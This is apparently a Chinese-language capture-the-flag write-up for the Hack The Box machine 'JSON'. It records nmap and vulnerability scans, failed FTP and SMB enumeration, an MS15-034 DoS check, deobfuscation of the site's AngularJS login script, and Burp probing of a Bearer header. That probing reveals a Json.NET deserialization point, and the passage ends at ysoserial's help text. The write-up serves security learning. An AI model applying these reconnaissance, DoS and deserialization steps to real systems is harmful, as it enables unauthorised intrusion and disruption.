HTB JSON
端口扫描
sudo nmap --min-rate 10000 -p- 10.129.227.191 -oA nmapscan/ports
结果
Warning: 10.129.227.191 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.227.191
Host is up (0.19s latency).
Not shown: 60125 closed tcp ports (reset), 5396 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 50.44 seconds
详细信息扫描
sudo nmap -sT -sV -sC -O 10.129.227.191 -
p21,80,135,139,445,5985,47001,49152,49153,49154,49155,49156,49157,49158 -oA
nmapscan/detail
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-20 02:13 -0400
Nmap scan report for 10.129.227.191
Host is up (0.16s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or 2012 R2
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:67:ca (VMware)
| smb2-security-mode:
| 3.0.2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-07-20T06:15:09
|_ start_date: 2026-07-20T01:46:58
|_clock-skew: mean: -15s, deviation: 0s, median: -15s
Stats: 0:02:37 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 98.44% done; ETC: 02:16 (0:00:01 remaining)
Stats: 0:04:05 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.48% done; ETC: 02:18 (0:00:01 remaining)
Stats: 0:04:57 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.86% done; ETC: 02:18 (0:00:00 remaining)
Stats: 0:06:00 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.89% done; ETC: 02:19 (0:00:00 remaining)
Stats: 0:06:06 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.89% done; ETC: 02:20 (0:00:00 remaining)
Stats: 0:06:07 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.89% done; ETC: 02:20 (0:00:00 remaining)
Stats: 0:06:08 elapsed; 1 hosts completed (2 up), 1 undergoing Script Scan
NSE Timing: About 99.89% done; ETC: 02:20 (0:00:00 remaining)
Nmap scan report for - (28.0.0.92)
Host is up (0.0021s latency).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.98%I=7%D=7/20%Time=6A5DBD12%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (96%), Actiontec MI424WR-GEN3I WAP (95%), Linux 3.2 (94%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (94%), VMware Player virtual NAT device (92%), Linux 4.4 (92%), Microsoft Windows XP SP3 (92%), BlueArc Titan 2100 NAS device (88%)
No exact OS matches for host (test conditions non-ideal).
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 428.92 seconds
p21,80,135,139,445,5985,47001,49152,49153,49154,49155,49156,49157,49158: command not found
zsh: no such file or directory: nmapscan/detail
UDP 端口扫描
sudo nmap -sU --top-ports 20 10.129.227.191 -oA nmapscan/UDP
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-20 02:25 -0400
Nmap scan report for json.htb (10.129.227.191)
Host is up (0.26s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp open|filtered ntp
135/udp closed msrpc
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp open|filtered nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 22.99 seconds
漏洞脚本扫描
sudo nmap --script=vuln 10.129.227.191 -
p21,80,135,139,445,5985,47001,49152,49153,49154,49155,49156,49157,49158 -oA
nmapscan/vuln
结果
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 22:35 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for loaclhost (10.129.227.191)
Host is up (0.10s latency).
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-fileupload-exploiter:
| Couldn't find a file-type field.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2015-1635:
| VULNERABLE:
| Remote Code Execution in HTTP.sys (MS15-034)
| State: VULNERABLE
| IDs: CVE:CVE-2015-1635
| A remote code execution vulnerability exists in the HTTP protocol stack
(HTTP.sys) that is
| caused when HTTP.sys improperly parses specially crafted HTTP requests. An
attacker who
| successfully exploited this vulnerability could execute arbitrary code in the
context of the System account.
|
| Disclosure date: 2015-04-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
|_ https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
| http-enum:
|_ /login.html: Possible admin folder
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Host script results:
|_smb-vuln-ms10-061: No accounts left to try
|_samba-vuln-cve-2012-1182: No accounts left to try
|_smb-vuln-ms10-054: false
Nmap done: 1 IP address (1 host up) scanned in 499.48 seconds
尝试 ftp 渗透
21 端口是 ftp 服务，FileZilla 应用，先尝试匿名登录
Connected to json.htb.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (json.htb:kali): anonymous
331 Password required for anonymous
Password:
530 Login or password incorrect!
ftp: Login failed
匿名登录失败
查看一下服务 FileZilla
searchsploit FileZilla
结果
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
FileZilla 2.2.15 - FTP Client Hard-Coded Cipher Key | windows/dos/26220.c
FileZilla 3.11.0.2 SFTP Module - Denial of Service | windows/dos/37286.py
FileZilla 3.33 - Buffer Overflow (PoC) | linux/dos/45576.py
FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC) | linux/dos/46484.txt
FileZilla Client 2.2.x - Remote Buffer Overflow (SEH) | windows/remote/37729.py
FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking | windows/local/51267.txt
FileZilla FTP Client 3.17.0.0 - Unquoted Path Privilege Escalation | windows/local/39803.txt
FileZilla FTP Server 0.9.20b/0.9.21 - 'STOR' Denial of Service | windows/dos/2901.php
FileZilla FTP Server 0.9.21 - 'LIST/NLST' Denial of Service | windows/dos/2914.php
FileZilla Server Terminal 0.9.4d - Buffer Overflow (PoC) | windows/dos/1336.cpp
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
没有什么用，可以暂时放弃。
尝试 smb 渗透
smbmap -H json.htb
枚举失败
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Something weird happened on (10.129.227.191) Error occurs while reading from remote(104) on line 1015
[*] Closed 1 connections
在用 enum-linux 看看：
enum4linux-ng -A json.htb
结果
ENUM4LINUX - next generation (v1.3.10)
==========================
| Target Information |
==========================
[*] Target ........... json.htb
[*] Username ......... ''
[*] Random Username .. 'jzynobxj'
[*] Password ......... ''
[*] Timeout .......... 10 second(s)
=================================
| Listener Scan on json.htb |
=================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=======================================================
| NetBIOS Names and Workgroup/Domain for json.htb |
=======================================================
[+] Got domain/workgroup name: WORKGROUP
[+] Full NetBIOS names information:
- JSON <00> - B <ACTIVE> Workstation Service
- JSON <20> - B <ACTIVE> File Server Service
- WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
- MAC Address = 00-50-56-B9-67-CA
=====================================
| SMB Dialect Check on json.htb |
=====================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: false
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false
=======================================================
| Domain Information via SMB session for json.htb |
=======================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: JSON
NetBIOS domain name: ''
DNS domain: json
FQDN: json
Derived membership: workgroup member
Derived domain: unknown
=====================================
| RPC Session Check on json.htb |
=====================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
[-] Sessions failed, neither null nor user sessions were possible
===========================================
| OS Information via RPC for json.htb |
===========================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows Server 2012 R2 Datacenter 9600
OS version: '6.3'
OS release: ''
OS build: '9600'
Native OS: Windows Server 2012 R2 Datacenter 9600
Native LAN manager: Windows Server 2012 R2 Datacenter 6.3
Platform id: null
Server type: null
Server type string: null
[!] Aborting remainder of tests since sessions failed, rerun with valid credentials
Completed after 11.08 seconds
扫描结果显示，目标主机 json. Htb 属于 WORKGROUP 工作组，其 NetBIOS 名称为 JSON，并且在 445/tcp 和
139/tcp 端口上分别开启了 SMB 和 NetBIOS 服务，这在 nmap 扫描结果也有暴露。目标主机支持多种 SMB 协
议，包括 SMB 1.0、2.02、2.1 和 3.0，其中 SMB 3.0 为首选协议，但尚未禁用 SMB 1.0，这可能为利用旧版
本 SMB 漏洞提供了机会。此外，扫描确认目标操作系统为 Windows Server 2012 R 2 Datacenter，这丛
Nmap 扫描接种的 IIS 的版本处能交叉验证，等版本号为 6.3，构建号为 9600，这为进一步的漏洞利用或攻
击提供了有价值的信息。
在连接 LDAP 和 LDAPS 端口时，发现 389/tcp 和 636/tcp 端口均拒绝连接，这表明这些服务未开启或被防火墙
阻止，nmap 也没法发现开放。在尝试通过空会话或随机用户会话进行 RPC 连接时，均因权限不足而失败，
表明目标主机对未认证用户的访问控制较为严格。如果要获取更多信息或执行进一步的渗透测试，可能需要
获取有效的凭据。
进行 80 端口的渗透
漏洞脚本扫描的结果中显示有一个 CVE-2015-1635 漏洞。
用工具查询
sudo python3 MS15-034.py -t 10.129.227.191 -p 80
███████████████████████████
███████▀▀▀░░░░░░░▀▀▀███████
████▀░░░░░░░░░░░░░░░░░▀████
███│░░░░░░░░░░░░░░░░░░░│███ MS15-034
██▌│░░░░░░░░░░░░░░░░░░░│▐██ PoC & DoS Exploit
██░└┐░░░░░░░░░░░░░░░░░┌┘░██ by Juan Cruz Tommasi
██░░└┐░░░░░░░░░░░░░░░┌┘░░██
██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██
██▌░│██████▌░░░▐██████│░▐██
███░│▐███▀▀░░▄░░▀▀███▌│░███
██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ Base4 Security
██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██ www.base4sec.com
████▄─┘██▌░░░░░░░▐██└─▄████
█████░░▐█─┬┬┬┬┬┬┬─█▌░░█████
████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████
█████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████
███████▄░░░░░░░░░░░▄███████
██████████▄▄▄▄▄▄▄██████████
███████████████████████████
[*] Testeando la vulnerabilidad..
[!!] El host parece Vulnerable a DoS
这是一个 DOS 攻击的漏洞，用不了
登录尝试
他会强制跳转到登录页面。
但是我们可以看出来这是一个基于 SB Admin 2 的模板
SB Admin 2 是一个基于 Bootstrap 4 的开源管理模板，广泛用
于创建后台管理系统的用户界面。
综上，以下几个特征可以确认这一点：
- Sb-admin-2. Min. Css 和 sb-admin-2. Min. Js 文件。
- Vendor 目录下的 fontawesome-free 和 bootstrap 资源。
- SB Admin 2 在内容部分提到的一些文本描述，例如 "SB Admin 2 makes extensive use of Bootstrap 4 utility classes
访问一下其中比较重要的 js 文件
http://json.htb/js/app.min.js
得到
var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])
这是经过混淆的内容。
App. Min. Js 解混淆
用到神秘小工具开发者工具，打开代码美化得到
var _0xd18f =
["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72",
"\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65",
"\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74",
"\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61",
"\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E",
"\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E",
"\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F",
"\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72",
"\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72",
"\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72",
"\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E",
"\x6D\x65\x73\x73\x61\x67\x65",
"\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E",
"\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E",
"\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73",
"\x6D\x6F\x64\x75\x6C\x65"];
angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16],
[_0xd18f[1], _0xd18f[2], _0xd18f[3], function(_0x30f6x1, _0x30f6x2, _0x30f6x3) {
_0x30f6x2[_0xd18f[17]] = {
UserName: _0xd18f[18],
Password: _0xd18f[18]
};
_0x30f6x2[_0xd18f[19]] = {
message: _0xd18f[18],
show: false
};
var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]);
if (_0x30f6x4) {
window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20]
}
;_0x30f6x2[_0xd18f[21]] = function() {
_0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]]
(function(_0x30f6x5) {
window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20]
}, function(_0x30f6x6) {
_0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23];
_0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true;
console[_0xd18f[25]](_0x30f6x6)
})
}
}]
)[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function(_0x30f6x1,
_0x30f6x2, _0x30f6x3) {
var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]);
if (_0x30f6x4) {
_0x30f6x1[_0xd18f[5]](_0xd18f[14], {
headers: {
"\x42\x65\x61\x72\x65\x72": _0x30f6x4
}
})[_0xd18f[13]](function(_0x30f6x5) {
_0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]]
}, function(_0x30f6x6) {
_0x30f6x3[_0xd18f[9]](_0xd18f[4]);
window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12]
})
} else {
window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12]
}
}]
)
这个代码片段使用了一种常见的 JavaScript 混淆技术，通过将字符串字面量用十六进制表示法替换，并存储
在数组 0 xd 18 f 中，然后在代码中通过索引访问这些字符串。这种技术通常用于使代码难以理解，以防止
直接分析。解混淆也不复杂，可以将这些十六进制字符串还原成正常的字符串，同时替换 0 xd 18 f 数组中
的索引为对应的字符串，即获得如下正常的源码。涉及0 x 30 f 6 x 的变量名，不是 16 进制字面量，是单纯的
随机变量名替换，要解混淆需要结合技术栈推断。一步步操作。
使用在线工具解混淆。
var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get",
"UserName", "Name", "data", "remove", "href", "location", "login.html", "then",
"/api/Account/", "controller", "loginController", "credentials", "", "error",
"index.html", "login", "message", "Invalid Credentials.", "show", "log",
"/api/token", "post", "json", "ngCookies", "module"];
angular.module('json', ['ngCookies']).controller('loginController', ['$http',
'$scope', '$cookies', function (_0x30f6x1, _0x30f6x2, _0x30f6x3) {
_0x30f6x2.credentials = {
UserName: '',
Password: ''
};
_0x30f6x2.error = {
message: '',
show: false
};
var _0x30f6x4 = _0x30f6x3.get('OAuth2');
if (_0x30f6x4) {
window.location.href = 'index.html'
};
_0x30f6x2.login = function () {
_0x30f6x1.post('/api/token', _0x30f6x2.credentials).then(function (_0x30f6x5)
{
window.location.href = 'index.html'
}, function (_0x30f6x6) {
_0x30f6x2.error.message = 'Invalid Credentials.';
_0x30f6x2.error.show = true;
console.log(_0x30f6x6)
})
}
}]).controller('principalController', ['$http', '$scope', '$cookies', function
(_0x30f6x1, _0x30f6x2, _0x30f6x3) {
var _0x30f6x4 = _0x30f6x3.get('OAuth2');
if (_0x30f6x4) {
_0x30f6x1.get('/api/Account/', {
headers: {
"Bearer": _0x30f6x4
}
}).then(function (_0x30f6x5) {
_0x30f6x2.UserName = _0x30f6x5.data.Name
}, function (_0x30f6x6) {
_0x30f6x3.remove('OAuth2');
window.location.href = 'login.html'
})
} else {
window.location.href = 'login.html'
}
}])
推测变量实际含义
1. _0x30f6x1：通过代码段 _0x30f6x1.post('/api/token', _0x30f6x2.credentials) 可以看出使用
了 post 方法发送 HTTP 请求，而这是 $http 服务的常用方法，因此可以推断 _0x30f6x1 是
$http。结果：_0x30f6x1 = $http，用于发送 HTTP 请求，可以唯一确定。
2. _0x30f6x2：通过代码段 _0x30f6x2.credentials = { UserName: '', Password: '' }; 可以看出
_0x30f6x2 被用来存储用户的 credentials 数据，这是 $scope 的常用方法，因此可以推断
_0x30f6x2 是 $scope。结果：_0x30f6x2 = $scope，用于存储和管理视图模型数据，可以唯一确
定。
3. _0x30f6x3：通过代码段 var _0x30f6x4 = _0x30f6x3.get('OAuth2'); 可以看出 _0x30f6x3 调用
了 get 方法获取名为 OAuth2 的 cookie，而这是 $cookies.get 的常用方法，因此可以推断
_0x30f6x3 是 $cookies。结果：_0x30f6x3 = $cookies，用于处理 cookie 操作，可以唯一确定。
4. _0x30f6x4：通过代码段 var _0x30f6x4 = _0x30f6x3.get('OAuth2'); 可以看出 _0x30f6x4 是从
$cookies.get('OAuth2') 获取的值，通常存储的是身份认证令牌，因此可以推断 _0x30f6x4 是
OAuth2Token。结果：_0x30f6x4 = OAuth2Token，是从 $cookies.get('OAuth2') 返回的令牌值，
可能命名为 authToken、oauth2Token、token 等，不是唯一确定的，具体名称取决于开发者的命
名习惯。
5. _0x30f6x5：通过代码段 _0x30f6x1.post(...).then(function(_0x30f6x5) { ... }) 可以看出
_0x30f6x5 是 then 方法的第一个回调参数，表示请求成功时返回的响应对象，因此可以推断
_0x30f6x5 是 successResponse。结果：_0x30f6x5 = successResponse，代表成功的 HTTP 响应
对象，服务器返回的数据，可能命名为 response、successResponse、res 等，不是唯一确定的，
具体名称取决于开发者的命名习惯。
6. _0x30f6x6：通过代码段 function(_0x30f6x6) { _0x30f6x2.error.message = 'Invalid
Credentials.'; } 可以看出 _0x30f6x6 是 then 方法的第二个回调参数，表示请求失败时的错误
响应对象，因此可以推断 _0x30f6x6 是 errorResponse。结果：_0x30f6x6 = errorResponse，代
表 HTTP 请求的错误响应对象，通常包含错误信息，可能命名为 error、errorResponse、err
等，不是唯一确定的，具体名称取决于开发者的命名习惯。
进行处理以后得到以下结果
var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get",
"UserName", "Name", "data", "remove", "href", "location", "login.html", "then",
"/api/Account/", "controller", "loginController", "credentials", "", "error",
"index.html", "login", "message", "Invalid Credentials.", "show", "log",
"/api/token", "post", "json", "ngCookies", "module"];
angular.module('json', ['ngCookies']).controller('loginController', ['$http',
'$scope', '$cookies', function ($http, $scope, $cookies) {
$scope.credentials = {
UserName: '',
Password: ''
};
$scope.error = {
message: '',
show: false
};
var token = $cookies.get('OAuth2');
if (token) {
window.location.href = 'index.html'
};
$scope.login = function () {
$http.post('/api/token', $scope.credentials).then(function (response) {
window.location.href = 'index.html'
}, function (error) {
$scope.error.message = 'Invalid Credentials.';
$scope.error.show = true;
console.log(error)
})
}
}]).controller('principalController', ['$http', '$scope', '$cookies', function
($http, $scope, $cookies) {
var token = $cookies.get('OAuth2');
if (token) {
$http.get('/api/Account/', {
headers: {
"Bearer": token
}
}).then(function (response) {
$scope.UserName = response.data.Name
}, function (error) {
$cookies.remove('OAuth2');
window.location.href = 'login.html'
})
} else {
window.location.href = 'login.html'
}
}])
这段代码是一个 AngularJS 模块，定义了两个控制器 loginController 和 principalController，用于
处理登录和验证功能。其中，代码通过 $http 服务发送 HTTP 请求，并根据 OAuth 2 协议处理 Token。具体
能不能利用、怎么利用还不知道
在 SB Admin 2 - Login 登录界面随便输入用户名和密码，Burp Suite 全部无修改放行后，将 HTTP history 中的 /api/token 从其右键菜单中发送到 Burp Suite 的 Repeater 中，在 Repeater 中完成后续操作。
在 Repeater 中，能看到第一个 js 控制器的逻辑并没有涉及任何复杂的对象传递，而第二个传递了 token，即Bearer 头字段，虽然目前的程序逻辑还没有和第二个控制器交互，但我们能从 js 中知道路径，可以在Repeater 中交互。更具第二个控制器的代码逻辑，我们修改为 GET 请求、/api/Account 路径，同时增加Bearer: redteamnotes 头字段和随便写的值，提交看程序的反应：
根据提示：Cannot deserialize Json. Net Object，证明此处用 Json. Net Object 做了序列化，我们给的Bearer 值是明文 redteamnotes ，显然不能反序列化。但此处值得尝试能否利用，如果开发者没有在反序列化是做过滤，我们就可能有机可乘。注意 Angular 区分大小写，Bearer 字段要和程序中大小写一致。
上图已经表明技术栈，即 ASP. NET，并且是使用 Json. Net 库处理 JSON 数据。我们要检查这处反序列化能否利用，就要找能攻生成适配技术栈的方式生成 payload。
PS C:\Users\admin\Desktop\ysoserial > .\ysoserial.exe --help
......
Usage: ysoserial.exe
Options:
-p, --plugin=VALUE The plugin to be used.
-o, --output=VALUE The output format (raw|base64|rawurlencode|
base64-urlencode|hex). Default: raw
-g, --gadget=VALUE The gadget chain.
-f, --formatter=VALUE The formatter.
-c, --command=VALUE The command to be executed.
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after first space is an
argument).
